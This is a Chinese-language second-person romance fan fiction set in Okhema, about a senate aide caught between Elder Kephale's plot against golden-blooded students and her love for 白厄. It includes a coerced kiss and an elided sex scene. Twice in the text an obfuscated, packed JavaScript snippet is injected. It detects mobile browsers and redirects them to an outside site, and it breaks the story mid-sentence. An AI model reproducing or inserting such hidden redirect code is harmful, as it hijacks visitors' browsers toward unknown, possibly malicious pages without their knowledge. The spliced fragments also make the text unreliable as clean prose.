无需品鉴名酒高档华丽 Cause anywhere babe 毕竟只要与你在一起 Is like Okhema in the rain 就如同身处浪漫的雨中奥赫玛 When I''m with you 当我与你在一起 When I''m with you 当我与你在一起 …… 台上的青年轻声弹唱,你看到白厄露骨又迷离的眼睛定定看向你,丝毫不加掩饰。心跳整耳欲聋,身旁学生们尖叫声快要把你淹没,负责人拍拍你的肩膀,意味深长:“看来这名学生,相当有魅力啊,不仅仅迷倒了台下一片学生呢。” ……真烦人啊。 你定了定神,笑道:“确实很有魅力。现在,我们该去办正事了。” 你笑着挥了挥手,消失在了人海中。身后弹唱还在继续,你却莫名听出些许不甘与可怜。 4. 纯情小白 11. 考查优秀学生的能力并不需要费多少力气。最基本的课业成绩、教育经历、家庭背景……这些你都能理解,只有一点给你的感觉比较奇怪——凯妮斯需要这些学生的体检报告,这也能稍作解释,毕竟谁都不想让身体状况不稳定的人办事。微妙的点也在这里,明明这些你可以替她筛选,但她轻描淡写地转移了话题。 你一一翻看学生们的体检报告,并没有察觉出什么不同。陷入沉思之际,门被打开,一名墨绿长发的青年学者走进来,没有被眼罩遮住的一只眼睛泛起疑惑:“……你是谁?为什么在教授的办公室?” 你站起身来微微一笑:“您好,冒昧打扰您了。我是元老院的工作人员,今天来考查学院教授推荐的学生资质,负责人安排我在这里与教授沟通,不知阁下怎么称呼?”学者点了点头示意你坐下:“叫我阿那克萨戈拉斯即可。” 他与你谈论起推荐的学生们与树庭的工作,忽然语出惊人:“年年都有教授推荐自己的学生进元老院,最后被选中的人寥寥无几——也不知这选拔的究竟有何意义?” 你望着阿那克萨戈拉斯冷淡的双眼:“……这些由凯妮斯长老亲自选拔的学生,自然都是顶尖的优秀人才。您难道没有推荐的对象么?” “不用再用这副腔调说话了,”学者嗤笑一声:“且不说凯妮斯挑选学生的真正用意是什么,光是元老院那种地方,我就不会将自己的学生推入火海。你是我这几年来在元老院看到的唯一还算正常的人类——并没有针对的意思,这只是实话。” 你心中感觉微妙,看似无奈的苦笑道:“您说的对,在元老院工作真是要时刻保持本心。不过凯妮斯长老她还是很关心优秀人才的身体健康状况,学生们的体检报告要亲自过目才肯放心,或许她并没有您想象中的那么不堪呢。” “……体检报告单?往年似乎并没有。”阿那克萨戈拉斯——那刻夏微微皱眉翻了翻学生们的体检报告,一针见血:“如果对凯妮斯的做法有所疑惑,我建议你关注最后没被选中的学生,突破口或许就在那里。” 你点了点头,那刻夏意味深长地看了你一眼。 传信石板的震动吸引了你的注意,是白厄发来了消息,想和你再见一面。 你瞬间分了心,又想起青年在聚光灯下弹唱情歌的模样,当真是好耀眼。欲盖弥彰地说了句工作正好快完成了,你便答应了他的请求。那刻夏的声音忽然语出惊人:“……你这是谈恋爱了?” 树庭的学者还管这?你礼貌道:“并没有。” “别误会,只是你笑着看传信石板的时候像极了我的学生白厄,他的屏保正是你。如果你谈恋爱了,那我正好可以借此严格要求他继续修读课本。” “……” 12. 你有些奇怪白厄选了树庭某个人烟稀少的地方作为见面的地点,看起来像偷情一样……直到白发的青年高兴地喊了一声你的名字跑到你身前。他的眼里是毫不掩饰的喜悦,弯下身克制的给了你一个一触即分的拥抱,清爽的气息扑面而来。 “终于又见到你了。” 你示意白厄边走边说。青年走在你身侧,你细细看他,白厄比上一次在奥赫玛分别时长高了,也壮了不少,宽肩窄腰,有了男人的模样……直到他羞赫的看向你:“你看出什么来了?我是说,一直盯着我,我会不好意思的。” 你竖了个大拇指:“好久不见,你长得更好看了,夸夸。” “哈哈。”他羞赫的挠挠头。许久未见,你终于能和白厄好好谈一谈分别后各自的生活。你说起元老院的工作冗长繁杂,非常无趣,但随之增长的阅历是对你最后的奖励。至于那些刻苦的练习与学习被你概括,无数个沉重的、夹杂着压力的日子化作谈笑间的话语轻轻吐露。 白厄看着你说起这些时恬静的面容,心在狂跳——他对你的认真和刻苦感同身受,于是简单说起树庭的生活和娱乐,一句带过在树庭不断雕刻自己的无数个日日夜夜。他认真地告诉了你自己被邀请加入黄金裔的逐火之旅后,阿格莱雅与众人对他的期望。 身旁的青年面对你时总是面露羞涩显得乖巧可人,可你却没法想象他抡起重剑砍向黑潮怪物。你沉默片刻后问:“……清理黑潮,会很危险吧?” “不瞒你说,是的。”谈起黑潮,白厄的语气认真了很多:“与我们共同作战的还有各个城邦的战士,但黑潮的怪物已经夺走了太多人的生命。为了翁法罗斯的未来,我们必须完成逐火的旅程,彻底终结黑潮的侵袭,才能保护更多无辜的人。”青年笑着看你一眼,“正是因为有你们,才能让我更好的意识到自己究竟在守护什么。” 心底涌上一股暖流,你眯着眼睛笑了。 “他们都说,若苦难有尽头,那我便是那救世主。”白厄轻笑了一声,“大家对我的期望非常高,我也一定不会辜负他们。” 他的蓝眸望向远方的天际,碧蓝的天空飘着棉花糖一般的白云。你忽然拍了拍他的肩,一切尽不在言中。 “你想说什么?”他失笑,“为什么我觉得你欲言又止呀。” “别给自己那么多压力。” “……压力?是有一些,”白厄忽然轻轻叹了口气,开玩笑道:“不过没事,适当的压力更利于督促自己成为更好的人。” 你摇摇头也看向远方:“在我这里,你先是白厄,其次才是救世主。我不想你因为‘救世主’迷失了真正的自我。” “真正的自我?” “我想你有属于自己的愿望。” “我的愿望?”他作思考状,“我的愿望,就是实现大家的愿望。因为世人都说我是最完美的黄金裔,救世的重任必须我来承担……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566203|186989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 身侧的青年忽然一顿,他的眼神忽明忽暗,像是紧紧合上的蚌悄悄张开了一条缝,小心翼翼地说:“其实,我有时候也会有这样的疑惑,来自哀丽秘榭的我,如何担得起阿格莱雅女士和缇宝老师的厚望呢?这漫漫逐火的旅程,我真的能接过这项重任,成为这壮阔伟业的领导者么?” 你安静地看着他,他略有紧张的等待你的回答。 “我不知道。”你坦然说。 “……啊?” “老实说,我并不希望你成为被命运选中的人。”你眯起眼睛眺望远方的蓝天,“但命运的抉择没有人能决定,要么接受,要么与其抗争到底。回应谁的期望从来都不是最重要的事,白厄,在我的故乡有一句古话,我把它送给你。” 不知怎的,青年的喉头有些梗塞:“……好啊。” 不知何处的风轻轻吹起你耳边的发丝,你清了清嗓子。 “吾心吾行澄如明镜,所作所为皆为正义。”你独有的嗓音轻轻落下:“白厄,希望世人的期待不要成为你的枷锁,你从来都不是为了回应谁而去成为救世主。” 世界似乎被按下了静音键,白厄只能听清你的声音,看清微风吹过你发丝的模样。是风动是心动?他不知道,他只知道自己的嗓子出奇的发紧。 白厄说不出什么话来回应,只得跟随自己的想法,在你面前捧出一颗炽烈无比的真心来。 青年在你身前站定,温顺的低下头来轻轻靠在你的肩膀上,瓮声瓮气地说:“谢谢你。” 你轻轻揉了揉他柔软的发丝。 他喊了你的名字:“……我很想你。” 确实是太久没见,你心软道:“我也是。” “那你什么时候才能接受我?”白厄话题一转。 “……” 不是,这话题是不是转的有些快?! 你退后一步,白厄的神情瞬间变得委屈巴巴,甚至头顶的呆毛都不翘了:“为什么一说到这个话题你就避如蛇蝎?我喜欢你,你不喜欢我吗?可我有时候看着你,觉得我应该也是被你喜欢的啊。” “这不是喜不喜欢的问题……”面对青年的直白,你不能再逃避,回答的面红耳赤手无足措:“我是元老院的人,而你马上要加入黄金裔,我们做朋友就……” “可我不想和你只做朋友。”他打断了你的话,“我想你做我的妻子。” 你的心重重一跳,仓皇抬眼却看见白厄露骨的眼神。那一刹那你简直汗毛倒竖,从未如此清晰的认识到面前的人早已长成了一个男人,下意识伸手要去推他,却被一把捉住了手腕。 “……你先放开!有话好好说,冷静点。” “好,我冷静。”白厄微微拉开了与你的距离,他低头看你,眼底的迷恋无处可藏:“我问你,你讨厌我吗?” “当然不……” 5. 纯情小白 “那就是喜欢。” 没等你反应,白厄的手抚上你的脸颊,快准狠地吻住你的唇。大脑瞬间一片空白,他滚烫的呼吸惹得你浑身发痒,剩下的那只手还紧紧箍着你的腰不让动……白厄像只小狗一样对你的嘴唇又亲又咬,终于试探着伸出舌头。你紧紧闭着牙关,他眼眶泛红地看着你:“让我进来好不好?” 你的脑子里瞬间飘过审核不让过的内容。 白厄见你不同意,箍着你腰的手轻轻一掐。你吃痛,他却抓住这瞬间的机会滑进去唇舌交缠…… 周围的气温逐渐升高,分开的时候他轻轻咬了一下你的下唇。嘴角边的津液不受控制地滴落,你恼羞成怒地踢他一脚:“……你是狗吗?除了讨厌就是喜欢?谁规定的?你吗?” 白厄抱着你发出隐忍的哼笑:“是我定的。我是辩论赛冠军,你说不过我的。”又委屈的用脑袋蹭蹭你:“……我现在好难受啊,帮帮我好不好?” “为什么难受?”你刚说出口就恨不得收回去,可惜已经晚了,白厄蓝色的眼睛里尽是水汽与毫无遮掩的欲望。都是成年人这还有什么不懂的?你面红耳赤地推开他,他却像一只黏人的大狗又缠了上来:“你曾经不是说过救世主想要什么你都能弄来么?我要的也不是你的利衡币,只是你而已。” 你的腿已经开始发软,男性荷尔蒙充斥着四周,终于轮到你磕磕巴巴:“……松手,松手!”你推开白厄,他站在原地委屈巴巴地看着你。你尽力不去看他高昂的欲望,丢下了一句“自己解决”,便狼狈地跑开了。 那层本来就薄的窗户纸还是被白厄戳破了。 那天吻过你后,白厄给你发了很长一段信息。 “希望今天没有吓到你,但如果再给我一次机会,我还是会那样做。我喜欢你,一直都很喜欢,还在小出租屋与你生活的时候就喜欢你了。我曾经一直在等你接受我,等你想明白了就再进一步,可是今天的辩论赛让我意识到,你实在太耀眼了,耀眼到我害怕别人抢先一步夺走了你这颗明珠。我不想和你的关系只停在朋友,你也听到了我今天说的那句话吧?” “我想你做我的妻子,我想和你成为真正的家人。” “我在树庭学会了鉴宝,被外派清理黑潮也会有丰厚的酬金,这些都让我有了一笔不小的积蓄。我想证明,我有站在你身边的能力,请你试着接纳我,给我一个机会。” 啊啊啊啊!! 你捏着传信石板心里简直是一团乱麻,这个你看着从少年长大的男人居然直接跳过了恋爱的步骤向你求婚……等等,重点不是这个,重点是你现在被那个充满爱和欲望的吻充斥着大脑,一想起就要面色发红。 你承认自己动摇了。现如今你们各自的事业都在蒸蒸日上,如果这个时候顺利在一起,无论是孑然一身来到异世界的你,还是被黑潮侵袭一无所有的他,都再一次有了正式的家人……你相信白厄和你一样,拒绝不了这两个字。 可是……你想到了自己的抱负和双方的立场,犹豫了很久,还是告诉了白厄在等等。 而此后不久发生的事让你意识到,这个决定是对的。 13。. 凯妮斯交给你的任务顺利完成,临走时她深深看了你一眼,意味不明地说:“做的不错。” 你尚且不明白她的意思,却不得不留个心眼——能坐上这个位置的人绝对不是普通人,狠心、果断、有手段缺一不可,更别说凯妮斯强烈反对逐火,义无反顾地站在黄金裔的对立面。他们的武力值确实是拉满了,却不知能不能防住这名政客的“暗箭”。 有那位浪漫半神阿格莱雅无所不知的金丝,你相信她不会明面上做什么,但留个心眼总不会错。 看着面前被留下的资料,你深深皱起眉。 凯妮斯亲自挑选后,留下了几名身强体壮的男性。你将资料送走前与其他没被留下的进行对比,可惜并没有发现什么异常。 难道说是你多心了? 你想起那刻夏对你的建议,立刻认真观察起了没被选中的学生资料,这么一看还真找出了几分不对——有些学生的格斗能力非常差,可以说是只会读书做文章的书呆子;有几个虽说是六边形战士,可依然没有被选中。 你将这些六边形战士的资料挑出来与选中的几人对比,看了很久,依然毫无头绪。 忽然灵光一现,想起了一个不对劲的地方——凯妮斯曾经看过他们的体检报告。 或许体检报告才是关键。你急急忙忙地把资料翻开到那一页仔细对比,终于抓住了重点。 那些堪称六边形战士却没被选中的学生,身体里流淌着的金色的血。 你的心猛然一跳。 元老院和黄金裔的矛盾在日益发酵,嫌隙与隔阂终有一天会爆发。你蹙眉陷入深思,却又被通知与凯妮斯见面。推开那扇门,女人捏着眉心靠在沙发上,开门见山:“要留下的人,资料都看了吧?我知道你会有一些想问的,不用说,随后和我走一趟就明白了。” 你应了,心里也觉得奇怪。在凯妮斯手下做事那么久,却从未与她出行过。压下那点好奇,你将大衣为凯妮斯披上,随她出了门。奥赫玛如往日一般热热闹闹,风和日丽,吆喝、欢笑、愤怒、悲伤同时存在于这座城的每个角落,凯妮斯一言不发许久,忽然喊了你的名字:“关于翁法罗斯的泰坦和百姓,你有什么看法?” “泰坦是芸芸众生的信仰,他们的力量强大却不高贵;百姓是翁法罗斯依然活着的证明,他们虽普通但绝不轻贱。” 凯妮斯一声轻笑:“很理想化的发言。但你要记着,一旦尝过权力的滋味就不可能会轻易放下。即便是半神还是泰坦,他们象征的权力都是普通人无法触及的,毕竟这世间种种有太多与权力密不可分。” 你内心一哂,面上毫无波澜:“您说的是。” 女人语气不咸不淡:“你知道么?千年来,元老院始终的权力始终覆盖整个奥赫玛。但自第一次诸神之战,三支联军围攻奥赫玛,海洋与律法的黄金裔击退并成功守住了这里后,成为了律法半神的黄金裔强行担任奥赫玛的最高统治者,并且以xue星强力的手段清洗了元老院里反对的声音……真是个僭越的暴君。” 你隐隐猜到了她要说什么,果不其然,凯妮斯缓缓开口:“直到今日,奥赫玛依旧在黄金裔的统治之下。在开启逐火之旅后,我们真正的权力早已丧失千年,元老院早已不如往日辉煌。现在的我们,只是在黄金裔统治下苟延残喘的小人物罢了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566204|186989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >来到一处紧闭的大门前,她转过身意味深长地看着你。 “还记得吗?权力、名声、金钱……”凯妮斯的语气渐渐低沉:“还记得我曾经告诉过你的么?” 你呼吸微顿,轻轻点头。她一笑,推开了门:“跟着我,我会给你想要的。” 14. 屋内的摆设十分普通,凯妮斯在沙发上坐下,倒了几杯热茶,你尽收眼底,不动声色地打量起四周。这是要接待什么样的人?需要到隐蔽的屋子与对方回合?能让元老院的元老为之添茶,对方究竟是什么身份? 随着屋门被打开,又有三人陆陆续续走进来。为首的男人看见你先是一愣,对着端坐的凯妮斯笑道:“凯妮斯,你在通讯上可没有通知会带第二个人来啊。” 凯妮斯无视了男人的戒备:“不必担心,这是我的学生,可以相信。坐下,我们好好谈一谈合作和计划。” 男人警戒地看了你一眼,还是坐在了凯妮斯对面的位置。一对年轻男女守在他的身侧,看起来是护卫……嗯?二人为什么还带着武器?你心中泛起了警惕。男人喝了一口热茶,瞥了你一眼向凯妮斯开口:“所以凯妮斯元老,你想要双方达成什么样的合作?” 屋内落针可闻,凯妮斯不紧不慢的声音响起:“……我要你们加入元老院,反对逐火,对抗黄金裔。” 你的第一反应:荒谬。 面上不显,你漠然看着眼前的男人。他额角带着一道疤,听到凯妮斯的发言微微一笑:“哦?有意思。奥赫玛在黄金裔的统治下快千年,元老院的人终于忍不住要动手了?只是这些黄金裔的实力太过强悍,就算咱们也有身强体壮的战士,可能也无法与黄金裔里的白厄和万敌相匹敌,他们都是最纯粹的战士。” 听到白厄的名字,你的心终于颤动了。 别慌,你对自己说。 “不需要你们将这些黄金裔赶尽杀绝——清洗者虽强悍,但容错率太小,一旦暴露,阿格莱雅不会放过你们。”凯妮斯缓缓道:“但你知道,这世上拥有金血的人,并不是只有他们几个。尽可能减少他们的数量吧,帮我这个忙,我手里握着的资源你一定不会拒绝。” “哦?是什么?” 凯妮斯一笑:“送几个新士兵——你不会拒绝吧?” “凯妮斯元老亲自挑选的战士,一定是非常好的苗子啊。”男人哈哈大笑,非常愉快地与凯妮斯达成了合作。短短几句谈笑,几个学生的命运如筹码被交换,几个学生的生命被随意抹除…… 直到凯妮斯领着你走出屋子,身前的女人回过头来,眯着眼微笑看着你。 “孩子,”她说,“今天谈的话你记住了吗?” 奥赫玛的天空依然明亮,人声依旧鼎沸,你却觉得无处不渗透出一股阴冷。将目光从远处忙碌的芸芸众生移到面前女人的脸上,你也笑着回:“老师,您在说什么?我们今天不是只在品茶么?” 她笑了笑:“你心里有数就行了。阿格莱雅的金丝在圣城无处不在,你这些日子需当心。刚才那对侍卫,我已经从中挑选了一个暗中保护你的安全,没什么事就回去吧。” 说完,凯妮斯便挥了挥手示意你离开。望着她离去的背影,你不自觉抓紧了衣角,内心五味杂陈。 6. 纯情小白 15. 压抑、荒谬、挫败……这些负面情绪一涌而上,快将你整个人淹没。元老院最高统治者凯妮斯果然是有手段的,暗地里勾结着清洗者处理黄金裔,就连身体里流淌着金黄血液的人都不放过,只为了千年以来被压制的权力。带着你与他们见面,一方面让阿格莱雅的金丝知晓你的立场,一方面强迫你入局,还让人监视你…… 可除了应下,你没有任何可以反抗的手段。论权力和资源,你哪方面都比不过凯妮斯,难道要任由她残害无辜的生命么? 没有家庭背景、没有靠山,你的确是这个局最好控制的人,在最后关头,你相信凯妮斯会为了她的计划毫不犹豫将你丢弃。努力走到今天这一步,到头来或许还是会成为政治对立中牺牲的炮灰。 不甘心是真的,自嘲也是真的,但一定不能如凯妮斯所愿的想法,也是真的。想起那个被你捡回来的少年、长大被世人誉为“救世主”抵御黑潮怪物的男人,你捏紧了拳头——一定不能让白厄努力追赶前行的路上,受到来自政治权力的污染和阻碍…… 白厄翻窗进来时,一眼看到了沉沉睡去的你。他的动作一下子变得小心翼翼,生怕惊扰了你。 他蹲下仔细瞧着眼前的你,软绵绵的身躯窝在沙发上,不知梦见了什么,秀气的眉毛轻轻皱起,露出一丝不安和痛苦,瞧得人心疼。温热的鼻息轻轻喷在白厄的耳侧,青年瞬间有些心猿意马,情不自禁吻在了你的额头上。 你没有醒。他屏住呼吸,紧张地捧起你垂在沙发上的右手,轻轻烙下一个吻。他的心怦怦直跳,看着你的眼神近乎炽热,青年又单膝下跪,闭着眼虔诚地吻了吻他的明珠。 屋内静的出奇,剧烈的心跳在耳边不断放大,再这样吻下去,白厄觉得会弄醒你。他稍稍退开些许,却见你一双明亮的双眸直直看着他不知多久,哪里有一丝困意?脸上瞬间飘起两朵红云,白厄眼神飘忽:“哎呀,你醒啦……我给你发了好多信息都没回,所以来看看你……” 你没说话,只看着眼前纯情的救世主,想起他想和你成为正式的家人,忽然有些难过。 他想退开,下一秒却被你捧住了脸颊。只愣了一秒,白厄便近乎讨好地蹭蹭你的手心,整个人都要凑到你的身前,蓝色的眼眸带着喜悦。他微微撒娇:“怎么啦?” 你能告诉他么?你能将凯妮斯的阴谋告诉眼前的人么?你总是被他阳光开朗人畜无害的面容吸引,却也深知他一定可以组织凯妮斯的计划——然后呢?元老院的势力牵一发而动全身,没有了凯妮斯,还有下一个凯妮斯,无数个凯妮斯…… 只要权力还在,就会吸引无数野心大又贪婪无厌的人去为它前赴后继。 心里一直隐藏的想法终于破土而出,在脑内疯狂叫嚣。 白厄看清了你眼里的忧虑和深沉,贴紧你的手认真看着你:“怎么了?告诉我,发生什么事了?” “在想你怎么那么呆呢……像只毛绒绒的大狗一样。”你一笑,主动凑到了白厄的面前。距离近在咫尺,他的呼吸渐渐乱了,眼神飘忽不去看你的嘴唇,喉结却很诚实地上下滑动了一番:“你这样看着我,我会想吻你……唔!” 这是你第一次主动吻白厄,也是你们第二次接吻。你清楚地知道在你决定吻他那一刻,你们的感情彻底变质,朋友、恩人……从现在开始,你们只是一对想要纠缠在一起的普通男女。 白厄的气息滚烫,隐忍的声音却实在诱人;他的手贴上你的腰侧,将你往他的方向推。你的手臂环住他的脖子,整个人几乎贴在他的怀里。唇舌交缠,暧昧的水声在耳边响起,你看到他如宝石般蓝色的眼眸泛起水汽和欲望的浪潮,整个人也开始发烫。 一吻结束,你们都喘着粗气。擦去嘴角的津液,你看向被欲望包裹同样红了脸的白厄,笑着说:“救世主,多谢款待。” 他充满水汽的双眼看了你一眼,忽然动手脱下了带着盔甲的外套。你感觉有些不妙:“你干什么……”话还没说完,白厄再次捧住你的脸,深深吻上来。这次他吻的格外深,几乎夺走了你的呼吸,整个人也渐渐压在你身上。不知什么时候,白厄已经把你压在了沙发上,重量不可小觑,你却推不动他,只能被箍着后脑接受这充满欲望的吻。 快要喘不过气了……你的眼里泛起泪花,白厄终于松开了你,你抓紧时间侧过身喘气。身体里的悸动一时下不去,暧昧的空气逐渐发烫,你直视他:“……亲够了吧?快下去。” (………………………绿色和谐) 你由着白厄胡闹了好一阵。 双方冷静了好久,你的大脑逐渐开始运转,猛然惊醒摇晃抱紧你的白厄:“等等!你进来难道没有看见什么奇怪的人?!” “啊,啊。”他甩甩头:“你是说那个鬼鬼祟祟在窗外徘徊的家伙?我看她实在是不对劲,已经把她打晕了。” “……” “别这么看我,”白厄小声说,又把你往怀里搂了搂:“当时太急着见你,我通知了阿格莱雅让警卫队把她带走了——你最近发生了什么事?被跟踪了为什么不告诉我。” 斟酌片刻,你说:“那是元老院给我安排的护卫,被你打晕了,我还得把她带回来。不然元老院那边我怎么交代?” “比起护卫,看起来更像监视。”白厄皱眉,“凯妮斯……怎么又揉起我的头发了,好吧,随便你摸。” 见他笑了,你松口气,笑道:“一会儿我去把她带回来吧。” “可那个人……” “没事的,”你说,“我总不能时时刻刻要求你在我身边保护我的安全是不是?元老院分配的护卫刚刚好。” 白厄抬起头,双眼亮晶晶的。他忽然在你的嘴唇上吻了一下:“我知道你在哄我。不过你都这么说了,那就依你。如果感觉到又不对的地方,一定要联系我。” “能有什么不对?”你垂下眼睛不与白厄对视,摆弄着他的衣角:“放心好了。” 16. 费了一番功夫从警卫队手里领回了来监视你的人,你与白厄道别,带着她往家里走去。 “你叫什么名字?” “艾格尔提丝。” “他们只是让你监视我?没别的吩咐么?” 眼前的女人麻木地看着地面,语气淡淡:“您会知道的,但不是现在。” 你在心中冷笑一声,表面依然如沐春风:“行,如果有要办的事,早点和我说。” 说完,你钻进屋内不再理睬。心烦意乱,被人监视怎么想都让人 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要怎么才能阻止清洗者处理黄金裔,你思考了很久,最终决定在彻底得到元老院的大权之前按兵不动。一切进展的十分顺利,唯有一点你非常头疼——白厄与你的亲密,早已被艾格尔提丝报给了凯妮斯。 “听说你黄金裔的白厄关系颇深?”女人喝着一口热茶,眼里带着探究。 你笑笑:“只是少时的一点救助恩情而已。” “我看可未必啊。” “您不用多想,我和那位白厄阁下的关系也已经到此为止了。比起那些旧时的恩情,还是眼前即将到手的权利更令人心动。”你直视她,“黄金裔与元老院,本就水火不容。” “这份决心让人动容。”凯妮斯亲切地看着你笑了,“真是我培养出来的优秀学生。这样,我看火候也差不多了,把一件事交给你去做。” “是什么?” 凯妮斯笑的眯起眼睛:“去找艾格尔提丝吧,她会告诉你。” 当你招呼艾格尔提丝在沙发上坐下并告诉她这个消息时,她的脸色肉眼可见的沉重。 不情不愿了许久,她终于轻轻叹了口气,不再直视你的双眼:“跟我走吧。” “所以,到底是什么事?”你微笑着竖起一层戒备。 “现在你不能知道。” “凯妮斯长老交给我要去完成的任务,你现在还要打哑谜么?”你站起身俯视她:“说吧。” “……抱歉。”只是眨眼的功夫,你忽然间感觉天旋地转,身体也变得软绵绵的。艾格尔提丝接住你倒下的身体,带你朝外走去。“你……”你气若游丝地想骂人,可没有一点力气,只能意识清醒地感受着她背起你离开,急速地奔跑在奥赫玛的房梁上。 一股浓重的不安席卷了你,艾格尔提丝要去哪?凯妮斯要求完成的究竟是什么任务? 忽然,艾格尔提丝的身体重重往旁边倒去,你却掉进另一个温暖的怀抱,那熟悉的味道你不会认错:“白……” 白发的男人拥紧了你:“没事,我来了。” 随后他冷淡地看向倒地的艾格尔提丝:“你要带她去哪里?” 7. 纯情小白 “你放开她!” 艾格尔提丝抹去嘴角渗出的血迹,眼神骤然变得狠辣,抽出长刀猛的朝白厄刺去,却被轻松躲过。二人电光石火间已过了几招,艾格尔提丝终是不敌白厄,被打趴在地,一柄重剑重重插在她脑侧。 “你要带她去哪里?”白厄又冷冷重复了一遍,“如果有一句谎话,清洗者,我不介意就在这里削掉你的舌头。” 在你的视角,艾格尔提丝丝毫没有畏惧,那双灰色的眼睛紧紧盯着你。 “她不能和你离得太近,白厄。你会害死她。” 白厄瞳孔一缩:“你说什么?” “黄金裔和元老院,注定水火不容。你这样不顾立场带她离开,将来也一定会害死她。”艾格尔提丝喘着粗气站起,眼神坚毅:“让我带她走。” 你有太多疑问,可白厄紧紧拥着你,语气戒备:“我不会同意,早点放弃你天真的想法。” 二人的视线隔空相撞,箭弩拔张的气氛中,各自却品出一些微妙来。对面清洗者落在你身上的眼神,白厄并不陌生。 你忽然在他怀里动了动,白厄立马看向你:“醒了?能动了?还有哪里不舒服么?” 你试着活动活动四肢,还微微有些不协调,不过比不久前全身瘫痪的感觉好了太多,说话却还有些气若游丝。 白厄将你放下来,却还不放心的搭着你的肩膀。你没看他,却轻轻挥开他的手。 平日里阳光开朗的男人忽然愣了,却还是笑笑:“……怎么了?” 艾格尔提丝一动不动,紧紧看着你。 是不顾一切和白厄离开,接受他的庇护,还是相信自己,等待元老院大权落于手心的机会? 是立场,还是感情?你该选哪一边? “白厄,”你忽略了他小心翼翼伸出的手,呼吸有些困难,“你走吧。” 白厄像是僵住了,脸上的笑容逐渐消失。 你别过脸去没有看他,走到艾格尔提丝身边。他下意识要拉住你,可被护着你的清洗者用长刀拦住了去路。 “我是元老院的人。”白厄听到你低低的声音响起,“就像你今天看到的,元老院和清洗者合作了。如果你要在这里结束她,就先踏过我的尸体吧。” …… 高挑的男人在原地站了很久,看着你的背影一点点变小,离他远去,才后知后觉反应过来——你要和他划分界限了。就像那个清洗者说的那样,元老院和黄金裔,你们站在不同的战线,从今天开始,你们不复往日那样亲密。 他应该打昏那个清洗者,通知警卫队将她带回牢里,再强制把你带走……对,应该这样做的,可他完全做不到违背你的意志。你的每一步都是自己精打细算选的,认识那么多年,他不敢赌,也不敢强迫你。 ……他该怎么办? 17. “你在难过。” “没有。” “你有。你在为那个黄金裔难过。” 你沉下脸:“够了艾格尔提丝,我确实有些难过,这跟任务有什么关系?” 面前的人深深看你一眼:“做好决定了么?接下来要完成的事,可能会彻底让你断绝与黄金裔相交的心思。” 她从背包递过来几张纸,你接过一看,心一下沉入了谷底。这几张薄薄的纸你太熟悉,正是大半年前未被选中的几名学生的资料,你还记得他们的体内都流淌着金黄的血液。这次的任务再清楚不过—— 解决这些阻碍元老院的潜在隐患。 凯妮斯啊凯妮斯,你在心中苦笑,你真是打得一手好算盘。 “我原本并不想让你知晓这些任务,”艾格尔提丝垂下眼,“但凯妮斯已经知晓你与黄金裔的关系不一般,所以她一定会让你亲自下手斩断这些联系。这也是为什么我让你不要接触白厄的原因。” 你垂眼看着她递到你面前的刀,心里泛起深深的无力:“……我不会用刀。” “没关系,我来就可以。”艾格尔提丝迅速收回了泛着银光的刀,忽然凑近说:“你只需要干干净净站在远处,别被溅了一身脏就好。” “……” 接下来的一切发生的太快。 生命脆弱游丝,如一阵轻风吹过便轻飘飘散落的落叶。你强迫自己睁大双眼,看清艾格尔提丝如何用长刀割开他们的喉咙,金黄的血液如何喷洒而出,生命如何逝去。 直到最后一人倒在血泊中,浑身沾染着金黄色液体的艾格尔提丝提刀朝你走来,你的腹部一阵翻涌,脸色煞白的吐了出来。 我是帮凶,我没办法做到任何事。这一刻你无比自厌自弃,一口气没吸上来,你的眼泪在眼眶中不停打转。该活的人已经死了,不该活的却依然活着。你强迫自己必须记住他们死去的模样,要将这份痛苦铭记于心。 凯妮斯……凯妮斯…… 事后,艾格尔提丝要护送你回家。你摇摇头拒绝:“不了,去你那儿吧。” 你相信,那里一定会有个人等着你回去,可你暂时没办法面对他。 你没看见艾格尔提丝犹豫要伸出的手,脸色惨白地闭上眼睛深吸一口气。 “我背你吧。”艾格尔提丝不由分说地蹲下身来,伸手用巧劲让你靠在了她的背上,“我的休息室很小,请别介意。” 黄金裔、元老院、清洗者、逐火的未来与权力……你的大脑从没有像此刻一般清醒,从前白厄和你谈起自己与黑潮对战的回忆在脑中再现,还有凯妮斯眼底对权力的渴望和隐隐的疯狂…… 18. 她依然坐在那张象征最高权利的交椅上。 凯妮斯含笑看着你:“我听艾格尔提丝说了,第一次的任务你做的很好。不过听说你的武力值并不是很高?放心,以后再有类似的任务,你无需动手,只要监督清洗者把任务完成就好。” 你直视着面前蛇蝎心肠的女人,笑的完美:“恭喜老师,又清除了些许隐患。” 凯妮斯走到你面前拍拍你的肩膀:“孩子,这只是第一步。你做的很好,我果然没有看错人。”她假惺惺地笑着欣慰,“你我二人日后,除了掌控 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凯妮斯给你下放了更多的权力,这是好事,意味着你能做更多的事。元老院又新来了几个年轻的新人,你望着他们青涩的模样,也想起了当年自己拼命考进来的时光。当然,这不是唏嘘的时候,你像当年的凯妮斯那样,默不作声地将他们拉入了自己的阵营。 如今的你,在元老院中也有一番属于自己的势力。 只是要扳倒凯妮斯,这些力量还远远不够。你一直在等待那个机会出现。 